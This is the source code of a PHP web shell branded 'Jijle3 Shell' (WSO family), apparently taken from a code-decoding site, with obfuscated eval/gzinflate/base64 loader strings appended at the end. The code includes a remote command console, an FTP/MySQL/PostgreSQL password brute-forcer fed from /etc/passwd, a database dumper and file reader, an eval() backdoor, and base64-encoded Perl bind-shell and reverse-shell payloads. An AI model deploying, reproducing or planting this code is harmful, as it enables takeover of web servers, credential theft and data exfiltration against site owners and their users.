    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; 
    if(!empty($_POST['p1'])) { 
        echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1'])); 
    } 
    echo '</textarea><table  cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; 
    echo '</form></div><script>d.cf.cmd.focus();</script>'; 
    wsoFooter(); 
} 

function actionLogout() { 
    session_destroy(); 
    die('bye!'); 
} 

function actionSelfRemove() { 

    if($_POST['p1'] == 'yes') 
        if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) 
            die('Salam Alaykoum ! See You Soon &hearts;'); 
        else 
            echo 'unlink error!'; 
    if($_POST['p1'] != 'yes') 
        wsoHeader(); 
    echo '<h1>Suicide</h1><div class=content>Do You Want To Delete Jijle3 Shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes Please</a></div>'; 
    wsoFooter(); 
} 

function actionBruteforce() { 
    wsoHeader(); 
    if( isset($_POST['proto']) ) { 
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; 
        if( $_POST['proto'] == 'ftp' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $fp = @ftp_connect($ip, $port?$port:21); 
                if(!$fp) return false; 
                $res = @ftp_login($fp, $login, $pass); 
                @ftp_close($fp); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'mysql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); 
                @mysql_close($res); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'pgsql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; 
                $res = @pg_connect($str); 
                @pg_close($res); 
                return $res; 
            } 
        } 
        $success = 0; 
        $attempts = 0; 
        $server = explode(":", $_POST['server']); 
        if($_POST['type'] == 1) { 
            $temp = @file('/etc/passwd'); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = explode(":", $line); 
                    ++$attempts; 
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; 
                    } 
                    if(@$_POST['reverse']) { 
                        $tmp = ""; 
                        for($i=strlen($line[0])-1; $i>=0; --$i) 
                            $tmp .= $line[0][$i]; 
                        ++$attempts; 
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { 
                            $success++; 
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); 
                        } 
                    } 
                } 
        } elseif($_POST['type'] == 2) { 
            $temp = @file($_POST['dict']); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = trim($line); 
                    ++$attempts; 
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; 
                    } 
                } 
        } 
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; 
    } 
    echo '<center><h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' 
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' 
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' 
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' 
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' 
        .'<span>Server:port</span></td>' 
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>' 
        .'<tr><td><span>Brute type</span></td>' 
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' 
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' 
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' 
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' 
        .'<td><input type=text name=login value="root"></td></tr>' 
        .'<tr><td><span>Dictionary</span></td>' 
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' 
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; 
    echo '</div><br>'; 
    wsoFooter(); 
} 

function actionSql() { 
    class DbClass { 
        var $type; 
        var $link; 
        var $res; 
        function DbClass($type)    { 
            $this->type = $type; 
        } 
        function connect($host, $user, $pass, $dbname){ 
            switch($this->type)    { 
                case 'mysql': 
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; 
                    break; 
                case 'pgsql': 
                    $host = explode(':', $host); 
                    if(!$host[1]) $host[1]=5432; 
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; 
                    break; 
            } 
            return false; 
        } 
        function selectdb($db) { 
            switch($this->type)    { 
                case 'mysql': 
                    if (@mysql_select_db($db))return true; 
                    break; 
            } 
            return false; 
        } 
        function query($str) { 
            switch($this->type) { 
                case 'mysql': 
                    return $this->res = @mysql_query($str); 
                    break; 
                case 'pgsql': 
                    return $this->res = @pg_query($this->link,$str); 
                    break; 
            } 
            return false; 
        } 
        function fetch() { 
            $res = func_num_args()?func_get_arg(0):$this->res; 
            switch($this->type)    { 
                case 'mysql': 
                    return @mysql_fetch_assoc($res); 
                    break; 
                case 'pgsql': 
                    return @pg_fetch_assoc($res); 
                    break; 
            } 
            return false; 
        } 
        function listDbs() { 
            switch($this->type)    { 
                case 'mysql': 
                        return $this->query("SHOW databases"); 
                break; 
                case 'pgsql': 
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); 
                break; 
            } 
            return false; 
        } 
        function listTables() { 
            switch($this->type)    { 
                case 'mysql': 
                    return $this->res = $this->query('SHOW TABLES'); 
                break; 
                case 'pgsql': 
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); 
                break; 
            } 
            return false; 
        } 
        function error() { 
            switch($this->type)    { 
                case 'mysql': 
                    return @mysql_error(); 
                break; 
                case 'pgsql': 
                    return @pg_last_error(); 
                break; 
            } 
            return false; 
        } 
        function setCharset($str) { 
            switch($this->type)    { 
                case 'mysql': 
                    if(function_exists('mysql_set_charset')) 
                        return @mysql_set_charset($str, $this->link); 
                    else 
                        $this->query('SET CHARSET '.$str); 
                    break; 
                case 'pgsql': 
                    return @pg_set_client_encoding($this->link, $str); 
                    break; 
            } 
            return false; 
        } 
        function loadFile($str) { 
            switch($this->type)    { 
                case 'mysql': 
                    return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); 
                break; 
                case 'pgsql': 
                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); 
                    $r=array(); 
                    while($i=$this->fetch()) 
                        $r[] = $i['file']; 
                    $this->query('drop table wso2'); 
                    return array('file'=>implode("
",$r)); 
                break; 
            } 
            return false; 
        } 
        function dump($table, $fp = false) { 
            switch($this->type)    { 
                case 'mysql': 
                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); 
                    $create = mysql_fetch_array($res); 
                    $sql = $create[1].";
"; 
                    if($fp) fwrite($fp, $sql); else echo($sql); 
                    $this->query('SELECT * FROM `'.$table.'`'); 
                    $head = true; 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            if($v == null) 
                                $item[$k] = "NULL"; 
                            elseif(is_numeric($v)) 
                                $item[$k] = $v; 
                            else 
                                $item[$k] = "'".@mysql_real_escape_string($v)."'"; 
                            $columns[] = "`".$k."`"; 
                        } 
                        if($head) { 
                            $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')'; 
                            $head = false; 
                        } else 
                            $sql = "
	,(".implode(", ", $item).')'; 
                        if($fp) fwrite($fp, $sql); else echo($sql); 
                    } 
                    if(!$head) 
                        if($fp) fwrite($fp, ";

"); else echo(";

"); 
                break; 
                case 'pgsql': 
                    $this->query('SELECT * FROM '.$table); 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            $item[$k] = "'".addslashes($v)."'"; 
                            $columns[] = $k; 
                        } 
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
"; 
                        if($fp) fwrite($fp, $sql); else echo($sql); 
                    } 
                break; 
            } 
            return false; 
        } 
    }; 
    $db = new DbClass($_POST['type']); 
    if(@$_POST['p2']=='download') { 
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); 
        $db->selectdb($_POST['sql_base']); 
        switch($_POST['charset']) { 
            case "Windows-1251": $db->setCharset('cp1251'); break; 
            case "UTF-8": $db->setCharset('utf8'); break; 
            case "KOI8-R": $db->setCharset('koi8r'); break; 
            case "KOI8-U": $db->setCharset('koi8u'); break; 
            case "cp866": $db->setCharset('cp866'); break; 
        } 
        if(empty($_POST['file'])) { 
            ob_start("ob_gzhandler", 4096); 
            header("Content-Disposition: attachment; filename=dump.sql"); 
            header("Content-Type: text/plain"); 
            foreach($_POST['tbl'] as $v) 
                $db->dump($v); 
            exit; 
        } elseif($fp = @fopen($_POST['file'], 'w')) { 
            foreach($_POST['tbl'] as $v) 
                $db->dump($v, $fp); 
            fclose($fp); 
            unset($_POST['p2']); 
        } else 
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); 
    } 
    wsoHeader(); 
    echo " 
<center> 
<h1>Sql browser</h1><div class=content> 
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> 
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> 
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> 
<td><select name='type'><option value='mysql' "; 
    if(@$_POST['type']=='mysql')echo 'selected'; 
echo ">MySql</option><option value='pgsql' "; 
if(@$_POST['type']=='pgsql')echo 'selected'; 
echo ">PostgreSql</option></select></td> 
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td> 
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td> 
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>"; 
    $tmp = "<input type=text name=sql_base value=''>"; 
    if(isset($_POST['sql_host'])){ 
        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { 
            switch($_POST['charset']) { 
                case "Windows-1251": $db->setCharset('cp1251'); break; 
                case "UTF-8": $db->setCharset('utf8'); break; 
                case "KOI8-R": $db->setCharset('koi8r'); break; 
                case "KOI8-U": $db->setCharset('koi8u'); break; 
                case "cp866": $db->setCharset('cp866'); break; 
            } 
            $db->listDbs(); 
            echo "<select name=sql_base><option value=''></option>"; 
            while($item = $db->fetch()) { 
                list($key, $value) = each($item); 
                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; 
            } 
            echo '</select>'; 
        } 
        else echo $tmp; 
    }else 
        echo $tmp; 
    echo "</td> 

                <td><input type=submit value='>>' onclick='fs(d.sf);'></td> 
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> 
            </tr> 
        </table> 
        <script> 
            s_db='".@addslashes($_POST['sql_base'])."'; 
            function fs(f) { 
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; 
                    if(f.p1) f.p1.value=''; 
                    if(f.p2) f.p2.value=''; 
                    if(f.p3) f.p3.value=''; 
                } 
            } 
            function st(t,l) { 
                d.sf.p1.value = 'select'; 
                d.sf.p2.value = t; 
                if(l && d.sf.p3) d.sf.p3.value = l; 
                d.sf.submit(); 
            } 
            function is() { 
                for(i=0;i<d.sf.elements['tbl[]'].length;++i) 
                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; 
            } 
        </script>"; 
    if(isset($db) && $db->link){ 
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; 
            if(!empty($_POST['sql_base'])){ 
                $db->selectdb($_POST['sql_base']); 
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; 
                $tbls_res = $db->listTables(); 
                while($item = $db->fetch($tbls_res)) { 
                    list($key, $value) = each($item); 
                    if(!empty($_POST['sql_count'])) 
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); 
                    $value = htmlspecialchars($value); 
                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>"; 
                } 
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; 
                if(@$_POST['p1'] == 'select') { 
                    $_POST['p1'] = 'query'; 
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; 
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); 
                    $num = $db->fetch(); 
                    $pages = ceil($num['n'] / 30); 
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; 
                    echo " of $pages"; 
                    if($_POST['p3'] > 1) 
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>"; 
                    if($_POST['p3'] < $pages) 
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>"; 
                    $_POST['p3']--; 
                    if($_POST['type']=='pgsql') 
                        $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); 
                    else 
                        $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; 
                    echo "<br><br>"; 
                } 
                if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { 
                    $db->query(@$_POST['p2']); 
                    if($db->res !== false) { 
                        $title = false; 
                        echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; 
                        $line = 1; 
                        while($item = $db->fetch())    { 
                            if(!$title)    { 
                                echo '<tr>'; 
                                foreach($item as $key => $value) 
                                    echo '<th>'.$key.'</th>'; 
                                reset($item); 
                                $title=true; 
                                echo '</tr><tr>'; 
                                $line = 2; 
                            } 
                            echo '<tr class="l'.$line.'">'; 
                            $line = $line==1?2:1; 
                            foreach($item as $key => $value) { 
                                if($value == null) 
                                    echo '<td><i>null</i></td>'; 
                                else 
                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; 
                            } 
                            echo '</tr>'; 
                        } 
                        echo '</table>'; 
                    } else { 
                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; 
                    } 
                } 
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; 
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) 
                    echo htmlspecialchars($_POST['p2']); 
                echo "</textarea><br/><input type=submit value='Execute'>"; 
                echo "</td></tr>"; 
            } 
            echo "</table></form><br/>"; 
            if($_POST['type']=='mysql') { 
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); 
                if($db->fetch()) 
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; 
            } 
            if(@$_POST['p1'] == 'loadfile') { 
                $file = $db->loadFile($_POST['p2']); 
                echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; 
            } 
    } else { 
        echo htmlspecialchars($db->error()); 
    } 
    echo '</div>'; 
    wsoFooter(); 
} 
function actionNetwork() { 
    wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc3lzdGVtPSAnZWNobyAiYHVuYW1lIC1hYCI7JzsNCiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsNCiRzeXN0ZW0yPSAnZWNobyAiYHB3ZGAiOyc7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpwcmludCAiWyBKaWpsZTMgU2hlbGwgfCBDb2RlZCBCeSBQaGVub21lbmUgRHogXVxuIjsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuIFsrXSBQaGVub21lbmUgRHogW01hcnR5cnMgQ3Jld10gQmFjay1Db25uZWN0IFsrXVxuIjsNCnByaW50ICJcblsrXSBCaXNtIEFsbGFoIFsrXVxuIjsNCnByaW50ICJcblN5c3RlbSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KcHJpbnQgIlxuUGVybWlzc2lvbiA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkRpcmVjdG9yeSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0yKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7==";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Back Connect</h1><div class=content><form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"><span>Bind port to /bin/sh [perl]</span><br/>Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>Back-connect  [perl]</span><br/>Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><br>"; 
if(isset($_POST['p1'])) {function cf($f,$t) {$w = @fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1'] == 'bpp') {cf("/tmp/bp.pl",$bind_port_p); 
            $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); 
            sleep(1); 
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>"; 
            unlink("/tmp/bp.pl"); 
        } 
        if($_POST['p1'] == 'bcp') { 
            cf("/tmp/bc.pl",$back_connect_p); 
            $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); 
            sleep(1); 
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>"; 
            unlink("/tmp/bc.pl"); 
        } 
    } 
    echo '</div>'; 
    wsoFooter(); 
} 
function actionRC() { 
    if(!@$_POST['p1']) { 
        $a = array( 
            "uname" => php_uname(), 
            "php_version" => phpversion(), 
            "wso_version" => WSO_VERSION, 
            "safemode" => @ini_get('safe_mode') 
        ); 
        echo serialize($a); 
    } else { 
        eval($_POST['p1']); 
    } 
} 
if( empty($_POST['a']) ) 
    if(isset($default_action) && function_exists('action' . $default_action)) 
        $_POST['a'] = $default_action; 
    else 
        $_POST['a'] = 'Home'; 
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) 
    call_user_func('action' . $_POST['a']); 
exit; 
?>

Did this file decode correctly?

Original Code

eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'SyvNSy7JzM9TSMnPSCzLMjA1MTTUUCkuKdJUqObiBAKVRAVbBaWYCjMjIDaMqTA3BtKmMRXGZkBsElNhmgbkm0DEzEBycL6SNcSAJKgB5kDNiUDaEohTgRhogFky1FBkDUWpJaVFeQoqSRoqiRCnaIIlagE='\x29\x29\x29\x3B");eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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